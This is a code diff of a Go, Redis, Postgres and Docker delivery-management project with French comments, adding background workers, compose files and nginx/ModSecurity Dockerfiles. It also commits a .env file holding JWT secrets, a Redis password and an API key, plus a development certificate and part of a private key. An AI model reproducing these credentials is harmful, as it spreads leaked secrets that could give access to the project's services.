|
||||
"gestion/db"
|
||||
"log"
|
||||
"time"
|
||||
)
|
||||
|
||||
// ============================================
|
||||
// WORKER PRINCIPAL
|
||||
// ============================================
|
||||
|
||||
// StartRedisWorkers démarre tous les workers Redis
|
||||
func StartRedisWorkers(database *db.Database) {
|
||||
log.Println("🚀 Démarrage des workers Redis...")
|
||||
|
||||
// Worker pour les notifications programmées
|
||||
go NotificationWorker(database)
|
||||
|
||||
// Worker pour l'auto-assignation des commandes
|
||||
go AutoAssignWorker(database)
|
||||
|
||||
// Worker pour le nettoyage des réservations expirées
|
||||
go StockCleanupWorker(database)
|
||||
|
||||
// Worker pour la synchronisation des points
|
||||
go PointsSyncWorker(database)
|
||||
|
||||
log.Println("✅ Tous les workers Redis sont démarrés")
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// WORKER NOTIFICATIONS
|
||||
// ============================================
|
||||
|
||||
// NotificationWorker traite les notifications programmées
|
||||
func NotificationWorker(database *db.Database) {
|
||||
ticker := time.NewTicker(30 * time.Second)
|
||||
defer ticker.Stop()
|
||||
|
||||
log.Println("📢 Worker Notifications démarré (check toutes les 30s)")
|
||||
|
||||
for range ticker.C {
|
||||
err := database.ProcessScheduledNotifications()
|
||||
if err != nil {
|
||||
log.Printf("⚠️ Erreur traitement notifications: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// WORKER AUTO-ASSIGNATION
|
||||
// ============================================
|
||||
|
||||
// AutoAssignWorker assigne automatiquement les commandes
|
||||
func AutoAssignWorker(database *db.Database) {
|
||||
ticker := time.NewTicker(1 * time.Minute)
|
||||
defer ticker.Stop()
|
||||
|
||||
log.Println("🤖 Worker Auto-Assignation démarré (check toutes les minutes)")
|
||||
|
||||
for range ticker.C {
|
||||
nextCommand, err := database.GetNextCommandInQueue()
|
||||
if err != nil {
|
||||
continue // Pas de commande
|
||||
}
|
||||
shouldAssign := false
|
||||
|
||||
if shouldAssign {
|
||||
err = database.AutoAssignCommand(nextCommand.CommandID)
|
||||
if err != nil {
|
||||
log.Printf("⚠️ Échec auto-assignation commande %d: %v",
|
||||
nextCommand.CommandID, err)
|
||||
} else {
|
||||
log.Printf("✅ Commande %d auto-assignée", nextCommand.CommandID)
|
||||
database.RemoveCommandFromQueue(nextCommand.CommandID)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// WORKER NETTOYAGE STOCK
|
||||
// ============================================
|
||||
|
||||
// StockCleanupWorker nettoie les réservations expirées
|
||||
func StockCleanupWorker(database *db.Database) {
|
||||
ticker := time.NewTicker(5 * time.Minute)
|
||||
defer ticker.Stop()
|
||||
|
||||
log.Println("🧹 Worker Nettoyage Stock démarré (check toutes les 5 min)")
|
||||
|
||||
for range ticker.C {
|
||||
cleanedCount := 0
|
||||
|
||||
// Récupérer toutes les clés de réservation
|
||||
keys, err := db.Redis.Keys(db.RedisCtx, "stock:reserve:*").Result()
|
||||
if err != nil {
|
||||
log.Printf("⚠️ Erreur récupération réservations: %v", err)
|
||||
continue
|
||||
}
|
||||
|
||||
for _, key := range keys {
|
||||
// Vérifier si la réservation est expirée
|
||||
ttl, err := db.Redis.TTL(db.RedisCtx, key).Result()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
// Si TTL <= 0, la réservation est expirée
|
||||
if ttl <= 0 {
|
||||
// Redis va automatiquement supprimer la clé
|
||||
// Mais on peut log pour traçabilité
|
||||
cleanedCount++
|
||||
}
|
||||
}
|
||||
|
||||
if cleanedCount > 0 {
|
||||
log.Printf("🧹 %d réservations de stock expirées nettoyées", cleanedCount)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// WORKER SYNCHRONISATION POINTS
|
||||
// ============================================
|
||||
|
||||
// PointsSyncWorker synchronise les points Redis avec la DB
|
||||
func PointsSyncWorker(database *db.Database) {
|
||||
ticker := time.NewTicker(10 * time.Minute)
|
||||
defer ticker.Stop()
|
||||
|
||||
log.Println("🔄 Worker Synchronisation Points démarré (check toutes les 10 min)")
|
||||
|
||||
for range ticker.C {
|
||||
syncedCount := 0
|
||||
|
||||
// Récupérer toutes les clés de points
|
||||
keys, err := db.Redis.Keys(db.RedisCtx, "client:points:*").Result()
|
||||
if err != nil {
|
||||
log.Printf("⚠️ Erreur récupération points: %v", err)
|
||||
continue
|
||||
}
|
||||
|
||||
for _, key := range keys {
|
||||
// Extraire le username
|
||||
username := key[len("client:points:"):]
|
||||
|
||||
// Récupérer les points depuis Redis
|
||||
points, err := db.Redis.Get(db.RedisCtx, key).Int()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
// Mettre à jour dans la DB principale
|
||||
err = database.AddClientPoints(username, points)
|
||||
if err != nil {
|
||||
log.Printf("⚠️ Erreur sync points pour %s: %v", username, err)
|
||||
continue
|
||||
}
|
||||
|
||||
// Réinitialiser dans Redis après sync
|
||||
db.Redis.Set(db.RedisCtx, key, 0, 0)
|
||||
syncedCount++
|
||||
}
|
||||
|
||||
if syncedCount > 0 {
|
||||
log.Printf("🔄 %d comptes clients synchronisés avec la DB", syncedCount)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// WORKER MISE À JOUR ETA
|
||||
// ============================================
|
||||
|
||||
// ETAUpdateWorker met à jour automatiquement les ETAs
|
||||
func ETAUpdateWorker(database *db.Database) {
|
||||
ticker := time.NewTicker(2 * time.Minute)
|
||||
defer ticker.Stop()
|
||||
|
||||
log.Println("⏱️ Worker Mise à Jour ETA démarré (check toutes les 2 min)")
|
||||
|
||||
for range ticker.C {
|
||||
// Récupérer toutes les commandes en cours de livraison
|
||||
commands, err := database.GetAllCommands("support", "")
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, command := range commands {
|
||||
commandID := command["id"].(int)
|
||||
|
||||
// Recalculer l'ETA basé sur la position du livreur
|
||||
// (logique à implémenter selon vos besoins)
|
||||
|
||||
// Exemple: réduire l'ETA de 2 minutes
|
||||
// database.SetCommandETA(commandID, newETA)
|
||||
|
||||
log.Printf("🔄 ETA mis à jour pour commande %d", commandID)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// WORKER ALERTES RETARD
|
||||
// ============================================
|
||||
|
||||
// DelayAlertWorker envoie des alertes en cas de retard
|
||||
func DelayAlertWorker(database *db.Database) {
|
||||
ticker := time.NewTicker(3 * time.Minute)
|
||||
defer ticker.Stop()
|
||||
|
||||
log.Println("⚠️ Worker Alertes Retard démarré (check toutes les 3 min)")
|
||||
|
||||
for range ticker.C {
|
||||
// Récupérer les ETAs de toutes les commandes
|
||||
keys, err := db.Redis.Keys(db.RedisCtx, "command:eta:*").Result()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, key := range keys {
|
||||
data, err := db.Redis.Get(db.RedisCtx, key).Result()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
// Désérialiser le JSON dans eta
|
||||
var eta map[string]interface{}
|
||||
if err := json.Unmarshal([]byte(data), &eta); err != nil {
|
||||
log.Printf("⚠️ Impossible de parser ETA pour %s: %v", key, err)
|
||||
continue
|
||||
}
|
||||
|
||||
// Extraire l'heure d'arrivée
|
||||
arrivalTimeFloat, ok := eta["arrival_time"].(float64)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
arrivalTime := int64(arrivalTimeFloat)
|
||||
|
||||
// Vérifier retard
|
||||
now := time.Now().Unix()
|
||||
if now > arrivalTime {
|
||||
commandIDFloat, ok := eta["command_id"].(float64)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
commandID := int(commandIDFloat)
|
||||
delay := (now - arrivalTime) / 60 // en minutes
|
||||
|
||||
log.Printf("⚠️ ALERTE: Commande %d en retard de %d minutes", commandID, delay)
|
||||
|
||||
// Notifier l'admin
|
||||
database.PublishCommandEvent(commandID, "delay_alert", "Commande en retard")
|
||||
|
||||
if delay > 15 {
|
||||
command, _ := database.GetCommandByID(commandID)
|
||||
if livreur, ok := command["livreur_assign"].(string); ok {
|
||||
log.Printf("⚠️ Pénalité appliquée au livreur %s", livreur)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// WORKER STATISTIQUES TEMPS RÉEL
|
||||
// ============================================
|
||||
|
||||
// StatsWorker calcule des statistiques en temps réel
|
||||
func StatsWorker(database *db.Database) {
|
||||
ticker := time.NewTicker(5 * time.Minute)
|
||||
defer ticker.Stop()
|
||||
|
||||
log.Println("📊 Worker Statistiques démarré (check toutes les 5 min)")
|
||||
|
||||
for range ticker.C {
|
||||
// Nombre de commandes en attente
|
||||
queueSize, _ := db.Redis.ZCard(db.RedisCtx, "queue:pending:sorted").Result()
|
||||
|
||||
// Nombre de livreurs disponibles
|
||||
livreurs, _ := database.GetAvailableDeliveryPersonsRedis()
|
||||
availableCount := len(livreurs)
|
||||
|
||||
// Nombre de livraisons en cours
|
||||
commands, _ := database.GetAllCommands("support", "")
|
||||
inProgressCount := len(commands)
|
||||
|
||||
stats := map[string]interface{}{
|
||||
"queue_size": queueSize,
|
||||
"available_drivers": availableCount,
|
||||
"in_progress": inProgressCount,
|
||||
"timestamp": time.Now().Unix(),
|
||||
}
|
||||
|
||||
// Stocker dans Redis
|
||||
db.Redis.HSet(db.RedisCtx, "stats:realtime",
|
||||
"queue_size", stats["queue_size"],
|
||||
"available_drivers", stats["available_drivers"],
|
||||
"in_progress", stats["in_progress"],
|
||||
"timestamp", stats["timestamp"],
|
||||
)
|
||||
|
||||
log.Printf("📊 Stats: %d en attente | %d livreurs dispo | %d en cours",
|
||||
queueSize, availableCount, inProgressCount)
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
DB_HOST=postgres
|
||||
DB_PORT=5432
|
||||
DB_USER=postgres
|
||||
DB_PASSWORD=votre_mot_de_passe
|
||||
DB_NAME=gestion_db
|
||||
DB_SSLMODE=disable
|
||||
SESSION_SECRET=votre_secret_session_tres_long_et_securise
|
||||
USER_JWT_SECRET=dsfljdsjfljsldfjlsd
|
||||
USER_JWT_SECRET_OLD=dsfljdsjfljsldfjlsd
|
||||
ADMIN_JWT_SECRET=dsfljdsjfljsldfjlsd
|
||||
ADMIN_JWT_SECRET_OLD=dsfljdsjfljsldfjlsd
|
||||
REDIS_HOST=redis
|
||||
REDIS_PORT=6379
|
||||
REDIS_PASSWORD=dndsjvnsdnvjsvdnjsvdn
|
||||
TOMTOM_API_KEY=MERY8I7LMeYVSLKO5WuV73W9rKJpBLoB
|
||||
API_PORT=8080
|
||||
FRONTEND_PORT=5173
|
||||
GIN_MODE=release
|
||||
@@ -0,0 +1,56 @@
|
||||
FROM golang:1.24-alpine AS builder
|
||||
WORKDIR /app
|
||||
|
||||
# Installer les dépendances système
|
||||
RUN apk add --no-cache git ca-certificates tzdata gcc musl-dev
|
||||
|
||||
# Copier go mod files
|
||||
COPY backend/backend/gestion/go.mod backend/backend/gestion/go.sum ./
|
||||
|
||||
# Configurer Go et télécharger les dépendances
|
||||
ENV GOPROXY=https://proxy.golang.org,direct
|
||||
ENV GOSUMDB=sum.golang.org
|
||||
ENV CGO_ENABLED=0
|
||||
|
||||
# Télécharger les dépendances
|
||||
RUN go mod download
|
||||
|
||||
# Copier tout le code source
|
||||
COPY backend/backend/gestion/ .
|
||||
|
||||
# Build le binaire
|
||||
RUN CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build \
|
||||
-ldflags="-w -s -X main.Version=1.0.0 -X main.BuildTime=$(date -u +%Y-%m-%dT%H:%M:%SZ)" \
|
||||
-o /app/server .
|
||||
|
||||
# =========================================================
|
||||
# Stage 2: Runtime
|
||||
# =========================================================
|
||||
FROM alpine:latest
|
||||
|
||||
# Installer les dépendances runtime
|
||||
RUN apk --no-cache add ca-certificates tzdata wget
|
||||
|
||||
# Créer l'utilisateur avec UID/GID fixes
|
||||
RUN addgroup -g 1000 app && adduser -u 1000 -S app -G app
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
# Copier le binaire et les fichiers nécessaires
|
||||
COPY --from=builder /app/server .
|
||||
COPY --from=builder /usr/share/zoneinfo /usr/share/zoneinfo
|
||||
|
||||
# Copier l'entrypoint
|
||||
COPY docker/docker/backend/entrypoint.sh .
|
||||
RUN chmod +x entrypoint.sh
|
||||
|
||||
# ✅ Créer le dossier uploads et donner ownership AVANT de changer d'utilisateur
|
||||
RUN mkdir -p /app/uploads/images /app/uploads/videos && \
|
||||
chown -R app:app /app
|
||||
|
||||
# Passer à l'utilisateur non-root
|
||||
USER app
|
||||
|
||||
EXPOSE 8080
|
||||
|
||||
ENTRYPOINT ["./entrypoint.sh"]
|
||||
Executable
+16
@@ -0,0 +1,16 @@
|
||||
#!/bin/sh
|
||||
set -e
|
||||
|
||||
# Créer le dossier uploads s'il n'existe pas (le volume le crée en root)
|
||||
# Puis créer les sous-dossiers
|
||||
if [ ! -d "/app/uploads" ]; then
|
||||
mkdir -p /app/uploads
|
||||
fi
|
||||
|
||||
# Créer les sous-répertoires
|
||||
mkdir -p /app/uploads/images /app/uploads/videos 2>/dev/null || true
|
||||
|
||||
echo "✅ Répertoires uploads prêts"
|
||||
|
||||
# Lancer l'application
|
||||
exec ./server
|
||||
@@ -0,0 +1,132 @@
|
||||
services:
|
||||
# =========================================================
|
||||
# Backend Go
|
||||
# =========================================================
|
||||
backend:
|
||||
build:
|
||||
context: ../..
|
||||
dockerfile: docker/docker/backend/Dockerfile
|
||||
container_name: gestion-backend
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
- DB_HOST=${DB_HOST:-postgres}
|
||||
- DB_PORT=${DB_PORT:-5432}
|
||||
- DB_USER=${DB_USER:-postgres}
|
||||
- DB_PASSWORD=${DB_PASSWORD}
|
||||
- DB_NAME=${DB_NAME:-gestion_db}
|
||||
- DB_SSLMODE=${DB_SSLMODE:-disable}
|
||||
- SESSION_SECRET=${SESSION_SECRET}
|
||||
- USER_JWT_SECRET=${USER_JWT_SECRET}
|
||||
- USER_JWT_SECRET_OLD=${USER_JWT_SECRET_OLD}
|
||||
- ADMIN_JWT_SECRET=${ADMIN_JWT_SECRET}
|
||||
- ADMIN_JWT_SECRET_OLD=${ADMIN_JWT_SECRET_OLD}
|
||||
- REDIS_HOST=${REDIS_HOST:-redis}
|
||||
- REDIS_PORT=${REDIS_PORT:-6379}
|
||||
- REDIS_PASSWORD=${REDIS_PASSWORD}
|
||||
- TOMTOM_API_KEY=${TOMTOM_API_KEY}
|
||||
- API_PORT=${API_PORT:-8080}
|
||||
volumes:
|
||||
- backend_uploads:/app/uploads
|
||||
networks:
|
||||
- gestion-network
|
||||
depends_on:
|
||||
postgres:
|
||||
condition: service_healthy
|
||||
redis:
|
||||
condition: service_healthy
|
||||
|
||||
# =========================================================
|
||||
# Frontend Nginx + ModSecurity
|
||||
# =========================================================
|
||||
frontend:
|
||||
build:
|
||||
context: ../..
|
||||
dockerfile: docker/docker/frontend/Dockerfile
|
||||
container_name: gestion-frontend
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
- DISABLE_MODSEC_ENV_SUBST=true
|
||||
- PARANOIA=2
|
||||
- ANOMALY_INBOUND=5
|
||||
- ANOMALY_OUTBOUND=4
|
||||
- BACKEND_HOST=backend
|
||||
- BACKEND_PORT=${API_PORT:-8080}
|
||||
ports:
|
||||
- "80:80"
|
||||
networks:
|
||||
- gestion-network
|
||||
|
||||
# =========================================================
|
||||
# PostgreSQL
|
||||
# =========================================================
|
||||
postgres:
|
||||
image: postgres:16-alpine
|
||||
container_name: gestion-postgres
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
- POSTGRES_USER=${DB_USER:-postgres}
|
||||
- POSTGRES_PASSWORD=${DB_PASSWORD}
|
||||
- POSTGRES_DB=${DB_NAME:-gestion_db}
|
||||
- PGDATA=/var/lib/postgresql/data/pgdata
|
||||
volumes:
|
||||
- postgres_data:/var/lib/postgresql/data
|
||||
networks:
|
||||
- gestion-network
|
||||
healthcheck:
|
||||
test:
|
||||
[
|
||||
"CMD-SHELL",
|
||||
"pg_isready -U ${DB_USER:-postgres} -d ${DB_NAME:-gestion_db}",
|
||||
]
|
||||
interval: 10s
|
||||
timeout: 5s
|
||||
retries: 5
|
||||
start_period: 10s
|
||||
|
||||
# =========================================================
|
||||
# Redis
|
||||
# =========================================================
|
||||
redis:
|
||||
image: redis:7-alpine
|
||||
container_name: gestion-redis
|
||||
restart: unless-stopped
|
||||
command: >
|
||||
redis-server
|
||||
--requirepass ${REDIS_PASSWORD}
|
||||
--appendonly yes
|
||||
--appendfsync everysec
|
||||
--maxmemory 256mb
|
||||
--maxmemory-policy allkeys-lru
|
||||
volumes:
|
||||
- redis_data:/data
|
||||
networks:
|
||||
- gestion-network
|
||||
healthcheck:
|
||||
test:
|
||||
[
|
||||
"CMD",
|
||||
"redis-cli",
|
||||
"--no-auth-warning",
|
||||
"-a",
|
||||
"${REDIS_PASSWORD}",
|
||||
"ping",
|
||||
]
|
||||
interval: 10s
|
||||
timeout: 3s
|
||||
retries: 5
|
||||
start_period: 10s
|
||||
|
||||
networks:
|
||||
gestion-network:
|
||||
driver: bridge
|
||||
internal: false
|
||||
driver_opts:
|
||||
com.docker.network.bridge.name: gestion-br0
|
||||
|
||||
volumes:
|
||||
postgres_data:
|
||||
driver: local
|
||||
redis_data:
|
||||
driver: local
|
||||
backend_uploads:
|
||||
driver: local
|
||||
@@ -0,0 +1,134 @@
|
||||
services:
|
||||
# =========================================================
|
||||
# Backend Go
|
||||
# =========================================================
|
||||
backend:
|
||||
build:
|
||||
context: ..
|
||||
dockerfile: docker/backend/Dockerfile
|
||||
container_name: gestion-backend
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
- DB_HOST=${DB_HOST:-postgres}
|
||||
- DB_PORT=${DB_PORT:-5432}
|
||||
- DB_USER=${DB_USER:-postgres}
|
||||
- DB_PASSWORD=${DB_PASSWORD}
|
||||
- DB_NAME=${DB_NAME:-gestion_db}
|
||||
- DB_SSLMODE=${DB_SSLMODE:-disable}
|
||||
- SESSION_SECRET=${SESSION_SECRET}
|
||||
- USER_JWT_SECRET=${USER_JWT_SECRET}
|
||||
- USER_JWT_SECRET_OLD=${USER_JWT_SECRET_OLD}
|
||||
- ADMIN_JWT_SECRET=${ADMIN_JWT_SECRET}
|
||||
- ADMIN_JWT_SECRET_OLD=${ADMIN_JWT_SECRET_OLD}
|
||||
- REDIS_HOST=${REDIS_HOST:-redis}
|
||||
- REDIS_PORT=${REDIS_PORT:-6379}
|
||||
- REDIS_PASSWORD=${REDIS_PASSWORD}
|
||||
- TOMTOM_API_KEY=${TOMTOM_API_KEY}
|
||||
- API_PORT=${API_PORT:-8080}
|
||||
ports:
|
||||
- "${API_PORT:-8080}:8080"
|
||||
volumes:
|
||||
- backend_uploads:/app/uploads
|
||||
networks:
|
||||
- gestion-network
|
||||
depends_on:
|
||||
postgres:
|
||||
condition: service_healthy
|
||||
redis:
|
||||
condition: service_healthy
|
||||
|
||||
# =========================================================
|
||||
# Frontend Nginx + ModSecurity
|
||||
# =========================================================
|
||||
frontend:
|
||||
build:
|
||||
context: ..
|
||||
dockerfile: docker/frontend/Dockerfile
|
||||
container_name: gestion-frontend
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
- MODSEC_RULE_ENGINE=On
|
||||
- PARANOIA=2
|
||||
- ANOMALY_INBOUND=5
|
||||
- ANOMALY_OUTBOUND=4
|
||||
- BACKEND_PORT=${API_PORT:-8080}
|
||||
ports:
|
||||
- "80:80"
|
||||
networks:
|
||||
- gestion-network
|
||||
|
||||
# =========================================================
|
||||
# PostgreSQL
|
||||
# =========================================================
|
||||
postgres:
|
||||
image: postgres:16-alpine
|
||||
container_name: gestion-postgres
|
||||
restart: unless-stopped
|
||||
environment:
|
||||
- POSTGRES_USER=${DB_USER:-postgres}
|
||||
- POSTGRES_PASSWORD=${DB_PASSWORD}
|
||||
- POSTGRES_DB=${DB_NAME:-gestion_db}
|
||||
- PGDATA=/var/lib/postgresql/data/pgdata
|
||||
volumes:
|
||||
- postgres_data:/var/lib/postgresql/data
|
||||
ports:
|
||||
- "${DB_PORT:-5432}:5432"
|
||||
networks:
|
||||
- gestion-network
|
||||
healthcheck:
|
||||
test:
|
||||
[
|
||||
"CMD-SHELL",
|
||||
"pg_isready -U ${DB_USER:-postgres} -d ${DB_NAME:-gestion_db}",
|
||||
]
|
||||
interval: 10s
|
||||
timeout: 5s
|
||||
retries: 5
|
||||
start_period: 10s
|
||||
|
||||
# =========================================================
|
||||
# Redis
|
||||
# =========================================================
|
||||
redis:
|
||||
image: redis:7-alpine
|
||||
container_name: gestion-redis
|
||||
restart: unless-stopped
|
||||
command: >
|
||||
redis-server
|
||||
--requirepass ${REDIS_PASSWORD}
|
||||
--appendonly yes
|
||||
--appendfsync everysec
|
||||
--maxmemory 256mb
|
||||
--maxmemory-policy allkeys-lru
|
||||
volumes:
|
||||
- redis_data:/data
|
||||
ports:
|
||||
- "${REDIS_PORT:-6379}:6379"
|
||||
networks:
|
||||
- gestion-network
|
||||
healthcheck:
|
||||
test:
|
||||
[
|
||||
"CMD",
|
||||
"redis-cli",
|
||||
"--no-auth-warning",
|
||||
"-a",
|
||||
"${REDIS_PASSWORD}",
|
||||
"ping",
|
||||
]
|
||||
interval: 10s
|
||||
timeout: 3s
|
||||
retries: 5
|
||||
start_period: 10s
|
||||
|
||||
networks:
|
||||
gestion-network:
|
||||
driver: bridge
|
||||
|
||||
volumes:
|
||||
postgres_data:
|
||||
driver: local
|
||||
redis_data:
|
||||
driver: local
|
||||
backend_uploads:
|
||||
driver: local
|
||||
@@ -0,0 +1,48 @@
|
||||
# =========================================================
|
||||
# Stage 1: Build Frontend
|
||||
# =========================================================
|
||||
FROM node:20-alpine AS builder
|
||||
|
||||
WORKDIR /build
|
||||
|
||||
# Copier package files depuis frontend-prep
|
||||
COPY frontend/frontend-prep/package*.json ./
|
||||
|
||||
# Installer les dépendances
|
||||
RUN npm ci
|
||||
|
||||
# Copier le code source
|
||||
COPY frontend/frontend-prep/ .
|
||||
|
||||
# Build
|
||||
RUN npm run build
|
||||
|
||||
# =========================================================
|
||||
# Stage 2: Nginx + ModSecurity
|
||||
# =========================================================
|
||||
FROM owasp/modsecurity-crs:nginx-alpine
|
||||
|
||||
USER root
|
||||
|
||||
# Copier build frontend
|
||||
COPY --from=builder /build/dist /usr/share/nginx/html
|
||||
|
||||
#COPY docker/frontend/cert/cert.pem /etc/nginx/certs/cert.pem
|
||||
#COPY docker/frontend/cert/key.pem /etc/nginx/certs/key.pem
|
||||
#RUN chown root:nginx /etc/nginx/certs/cert.pem /etc/nginx/certs/key.pem && \
|
||||
# chmod 644 /etc/nginx/certs/cert.pem && \
|
||||
# chmod 640 /etc/nginx/certs/key.pem
|
||||
|
||||
# Logs ModSecurity
|
||||
RUN mkdir -p /var/log/modsec && chown -R nginx:nginx /var/log/modsec
|
||||
|
||||
COPY docker/docker/frontend/nginx.conf /etc/nginx/conf.d/app.conf
|
||||
COPY docker/docker/frontend/custom-rules.conf /etc/nginx/modsec/custom-rules.conf
|
||||
RUN echo "Include /etc/nginx/modsec/custom-rules.conf" > /etc/nginx/modsec/custom-includes.conf
|
||||
|
||||
RUN rm -f /etc/nginx/templates/conf.d/default.conf.template || true
|
||||
RUN chown -R nginx:nginx /usr/share/nginx/html
|
||||
|
||||
USER nginx
|
||||
EXPOSE 80
|
||||
CMD ["nginx", "-g", "daemon off;"]
|
||||
@@ -0,0 +1,49 @@
|
||||
# =========================================================
|
||||
# Stage 1: Build Frontend
|
||||
# =========================================================
|
||||
FROM node:20-alpine AS builder
|
||||
|
||||
WORKDIR /build
|
||||
|
||||
COPY frontend-prep/package*.json ./
|
||||
RUN npm ci --only=production
|
||||
|
||||
COPY frontend-prep .
|
||||
RUN npm run build && ls -la dist/
|
||||
|
||||
# =========================================================
|
||||
# Stage 2: Nginx + ModSecurity
|
||||
# =========================================================
|
||||
FROM owasp/modsecurity-crs:nginx-alpine
|
||||
|
||||
USER root
|
||||
|
||||
# Copier le frontend build
|
||||
COPY --from=builder /build/dist /usr/share/nginx/html
|
||||
|
||||
# Configs Nginx / ModSecurity
|
||||
COPY docker/frontend/nginx.conf.prod /etc/nginx/conf.d/app.conf
|
||||
COPY docker/frontend/main.conf /etc/nginx/modsec/main.conf
|
||||
COPY docker/frontend/ban-on-crs-scores-delivery-api.conf /etc/nginx/modsec/ban-on-crs-scores-delivery-api.conf
|
||||
COPY docker/frontend/crs-setup.conf /etc/nginx/modsec/crs-setup.conf
|
||||
|
||||
# Supprimer template par défaut
|
||||
RUN rm -f /etc/nginx/templates/conf.d/default.conf.template || true
|
||||
|
||||
# Variables ModSecurity
|
||||
ENV MODSEC_ENGINE=On \
|
||||
PARANOIA=2 \
|
||||
ANOMALY_INBOUND=5 \
|
||||
ANOMALY_OUTBOUND=4
|
||||
|
||||
# Permissions
|
||||
RUN chown -R nginx:nginx /usr/share/nginx/html \
|
||||
&& mkdir -p /etc/letsencrypt \
|
||||
&& chown -R nginx:nginx /etc/letsencrypt
|
||||
|
||||
USER nginx
|
||||
|
||||
EXPOSE 80 443
|
||||
|
||||
STOPSIGNAL SIGQUIT
|
||||
CMD ["nginx", "-g", "daemon off;"]
|
||||
@@ -0,0 +1,24 @@
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIIECjCCAnKgAwIBAgIQQesYDZxq7zMlKT1zztYmUDANBgkqhkiG9w0BAQsFADBh
|
||||
MR4wHAYDVQQKExVta2NlcnQgZGV2ZWxvcG1lbnQgQ0ExGzAZBgNVBAsMEnhvcl9m
|
||||
YWtlcnNAQXN1c1hvcjEiMCAGA1UEAwwZbWtjZXJ0IHhvcl9mYWtlcnNAQXN1c1hv
|
||||
cjAeFw0yNjAxMjAwODQxNDhaFw0yODA0MjAwNzQxNDhaMEYxJzAlBgNVBAoTHm1r
|
||||
Y2VydCBkZXZlbG9wbWVudCBjZXJ0aWZpY2F0ZTEbMBkGA1UECwwSeG9yX2Zha2Vy
|
||||
c0BBc3VzWG9yMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4gjHuXBb
|
||||
eRVHf29Lsn1JlFSHpSTsImMrjLHnUh0jCR+1i2xQ3GQVFJY8YLWvwJv64SnsDZBE
|
||||
JBbSdsocfmJJl8mnW8INYgLqFBe/Cr/DFZqJcAcANVuxzjVpmWBqvLA3fYPKJHB3
|
||||
66Lot6QZoObbvuOJpar+PubAiNVH6F/0ehy4O5daegfUlGxdZOTRsVhV8uwjH9+H
|
||||
V8wL9ZyK8h6kl9VjQifP/FTdpaGhtkSoVHod/uynmVzF/PscTcUVwh+uQcqWj3fd
|
||||
Itzcinj8K46xZLiFp/QHoz1kX/mDLtwbxbDAD9kGxf28J366VqyxJQzDjdvv/VYZ
|
||||
QoEThibA34msTQIDAQABo1kwVzAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAwwCgYI
|
||||
KwYBBQUHAwEwHwYDVR0jBBgwFoAUyPQyLZZ7Al7A1Dvf/5xLRLY9aDYwDwYDVR0R
|
||||
BAgwBocErBSn7TANBgkqhkiG9w0BAQsFAAOCAYEAWVgf0e/30255rHo8Z3/35YBE
|
||||
Hrauwf8ef+aGVB+cLk2p1+UiYOgzvXKOeRP+9AVaASPg/mB7yA17DVrClWW7QjpU
|
||||
iBkVCP6AsOlMVTPfKrKUucrWtac337TTleAMgtSjeApfdHbd3D4imilc16GLzVOG
|
||||
9CKuvx6hJam4Bo4BfsO8TWh6F2hWxJL1dtY0d65ceBC40FXfowdJARgD85XCbJnY
|
||||
4i/Twu80Hgrhok+CVDdH49DgMvUifckdsFCKqigZpJPRhGfbzfT61ysVcCXXsmj/
|
||||
yFPo71zE5bq4T2ig+zGDbt64C+tP6a0P643SEnzyfEiUVTCWfIcrE17bSapzl5oa
|
||||
PYSDkbC/OKoXsvvfVwDljNY0qXHTVjoTw6/8cXSAomZAaTAWZGkAWYBZEFpyEYu/
|
||||
aBRDw5T/qo2N2xOt3NrmmWmkU8cFF8oESk5GJDoFFO/yp9MEvANWq6OQ4PZVEsdN
|
||||
VtqzP07AD88B7kkD6qn8pSp8yZBYoL+Qk4d93HPg
|
||||
-----END CERTIFICATE-----
|
||||
@@ -0,0 +1,28 @@
|
||||
-----BEGIN PRIVATE KEY-----
|
||||
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDiCMe5cFt5FUd/
|
||||
b0uyfUmUVIelJOwiYyuMsedSHSMJH7WLbFDcZBUUljxgta/Am/rhKewNkEQkFtJ2
|
||||
yhx+YkmXyadbwg1iAuoUF78Kv8MVmolwBwA1W7HONWmZYGq8sDd9g8okcHfroui3
|
||||
pBmg5tu+44mlqv4+5sCI1UfoX/R6HLg7l1p6B9SUbF1k5NGxWFXy7CMf34dXzAv1
|
||||
nIryHqSX1WNCJ8/8VN2loaG2RKhUeh3+7KeZXMX8+xxNxRXCH65BypaPd90i3NyK
|
||||
ePwrjrFkuIWn9AejPWRf+YMu3BvFsMAP2QbF/bwnfrpWrLElDMON2+/9VhlCgROG
|
||||
JsDfiaxNAgMBAAECggEAB2kzyTH0odPvh+9Ze0Tt1mnuF51OC7OWMDL+C1xus2Qh
|
||||
gux+ezdh1I63dJFIbad/koXaGji+bzN7W481X3RwBsTDErhaUXoYfCeqKRtP9WOf
|
||||
eXeVS2qR+hmYuIFnhn+9lgUt6cNxPx3UhP7hozumfUv/DZo9Y0kUC3h4ttb8kEtU
|
||||
